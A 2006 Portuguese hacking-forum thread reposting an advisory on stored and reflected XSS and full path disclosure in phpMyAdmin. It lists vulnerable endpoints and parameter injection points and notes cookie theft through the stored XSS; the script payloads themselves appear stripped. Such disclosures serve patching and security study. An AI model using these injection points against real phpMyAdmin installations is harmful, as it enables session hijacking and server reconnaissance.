FORUM DARKERS

Segurança & Hacking => Bugs | Exploits | Vulnerabilidades => Topic started by: insanity on 16 de November , 2006, 05:21:35 PM

Title: PhpMyAdmin all version [multiples vulnerability]
Post by: insanity on 16 de November , 2006, 05:21:35 PM
vendor site:http://phpmyadmin.net/
product:PhpMyAdmin all version
bug: xss permanent & full path disclosure
global risk:high



xss post :
1) create a table , with whatever name , when it's done , go to "operation"
(/db_operations.php) and add a comment on your table with:
'">
( the "alert" is only to show the xss is working ...)
this is a serious security issue , because it's a permanent xss , when you get into phpmyadmin
you will get your cookie stealed directly , without looking at the attacker_table.

2)
/phpmyadmin/db_create.php
variables :
token=your_token&reload=1&db=[double xss(2 followed xss)]

3)
/phpmyadmin/db_operations.php
variables:
db_collation=latin1_swedish_ci&db_copy=true&db=prout&token=your_token&newname=[xss]

4)
/phpmyadmin/querywindow.php
token=your_token&db=&table=&query_history_latest=[xss]&query_history_latest_db=[xss]&querydisplay_tab=[xss]
querydisplay_tab

xss get :
http://site.com/phpmyadmin/sql.php?db=i ... _SETS&pos= (http://site.com/phpmyadmin/sql.php?db=information_schema&token=your_token&goto=db_details_structure.php&table=CHARACTER_SETS&pos=)'">

Note: if there's a "token=" on this string ,it's because you need it , so replace this one with yours .

full path disclosure :
/scripts/check_lang.php
/themes/darkblue_orange/layout.inc.php
/index.php?lang[]=
/index.php?target[]=
/index.php?db[]=
/index.php?goto[]=
/left.php?server[]=
/index.php?table[]=
/server_databases.php?token=your_token&sort_by="
/index.php?db=information_schema&token=your_token&tbl_group[]=
/db_printview.php?db="
/sql.php?back[]=



laurent gaffié & benjamin mossé
http://s-a-p.ca/ (http://s-a-p.ca/)
contact: saps.audit@gmail.com
Title: Re: PhpMyAdmin all version [multiples vulnerability]
Post by: Security on 15 de December , 2006, 11:06:53 PM
Já testo em algum host?
flws
Title: Re: PhpMyAdmin all version [multiples vulnerability]
Post by: insanity on 25 de December , 2006, 07:01:19 PM
Quote from: "Security"Já testo em algum host?
flws

Tinha testado logalmente ...
Title: Re: PhpMyAdmin all version [multiples vulnerability]
Post by: Anonymous on 25 de June , 2007, 08:16:23 PM
http://www.pucorp.org/bug1.txt (http://www.pucorp.org/bug1.txt)